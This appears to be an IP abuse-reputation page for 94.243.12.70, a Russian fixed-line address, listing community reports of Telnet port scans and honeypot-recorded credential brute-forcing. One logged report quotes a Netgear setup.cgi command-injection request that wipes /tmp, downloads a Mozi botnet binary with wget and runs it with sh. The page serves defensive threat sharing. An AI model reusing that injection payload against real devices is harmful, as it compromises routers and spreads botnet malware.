94.243.12.70

Neutral Activity There is no recent abuse activity, or the IP address is whitelisted.
Abuse Confidence Score
0% Low Risk
60 reports
31 reporters · latest 2 months ago
ISP
MTS PJSC
Usage Type
Fixed Line ISP
ASN
AS8359
Domain Name
mts.ru
Country
🇷🇺 Russian Federation
City
Tyumen, Tyumen Oblast
Log in to view charts and search reports for this IP. Log In

No reports in the last 60 days

94.243.12.70 has been reported 60 times. The most recent report is from .

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Total reports
60 from 31 distinct reporters
First reported
Most recent report
Reporter IoA Timestamp (UTC) Comment Categories
🇺🇸 pablo
SSH honeypot (Cowrie) recorded 12 events over 2m. Activity: SSH connection to honeypot; connection flood. Wazuh rules: 100100,100113.
Brute-Force SSH
🇩🇪 Admins@FBN
FW-PortScan: Traffic Blocked srcport=1194 dstport=23
Port Scan
Anonymous
PROTO=TCP DPT=23
Port Scan Hacking
🇫🇷 security.rdmc.fr
Port Scan Attack proto:TCP src:10737 dst:23
Port Scan
🇫🇷 Hiigara
connection attempt : 94.243.12.70 on port : tcp/23 (Telnet)
Port Scan
Anonymous
denied Telnet access attempt. destination port 23.
Port Scan Brute-Force
Anonymous
denied traffic to a honeypot network. destination port 23.
Port Scan Hacking
🇪🇸 librebit
Brute force
Brute-Force
🇺🇸 xKaramx
SSH/Telnet honeypot (telnet) recorded 25 session(s) and 75 logged event(s) from this address. Observed: automated credential brute-force attempts. Reported automatically from honeypot telemetry.
Brute-Force IoT Targeted
🇺🇸 xKaramx
SSH/Telnet honeypot (telnet) recorded 25 session(s) and 75 logged event(s) from this address. Observed: automated credential brute-force attempts. Reported automatically from honeypot telemetry.
Brute-Force IoT Targeted
🇺🇸 xKaramx
SSH/Telnet honeypot (telnet) recorded 25 session(s) and 75 logged event(s) from this address. Observed: automated credential brute-force attempts. Reported automatically from honeypot telemetry.
Brute-Force IoT Targeted
🇺🇸 xKaramx
SSH/Telnet honeypot (telnet) recorded 25 session(s) and 75 logged event(s) from this address. Observed: automated credential brute-force attempts. Reported automatically from honeypot telemetry.
Brute-Force IoT Targeted
🇺🇸 xKaramx
SSH/Telnet honeypot (telnet) recorded 25 session(s) and 75 logged event(s) from this address. Observed: automated credential brute-force attempts. Reported automatically from honeypot telemetry.
Brute-Force IoT Targeted
🇺🇸 xKaramx
SSH/Telnet honeypot (telnet) recorded 25 session(s) and 75 logged event(s) from this address. Observed: automated credential brute-force attempts. Reported automatically from honeypot telemetry.
Brute-Force IoT Targeted
🇩🇪 strxmpp
94.243.12.70 - - [16/May/2026:16:45:17 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 451 "-" "-" ...
Bad Web Bot

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇵🇱 91.228.33.63
🇰🇷 218.238.5.110
🇳🇱 213.177.179.79
🇬🇧 193.163.125.89
🇧🇷 177.37.210.227
🇵🇭 149.30.129.169
🇺🇸 147.185.132.229
🇧🇷 143.137.39.220
🇺🇸 136.176.223.14
🇧🇴 132.251.236.74
🇨🇳 114.220.176.69
🇺🇸 91.230.168.1
🇳🇱 213.209.159.238
🇺🇸 199.165.159.121
🇺🇸 195.184.76.25
🇮🇷 193.228.90.140
feedback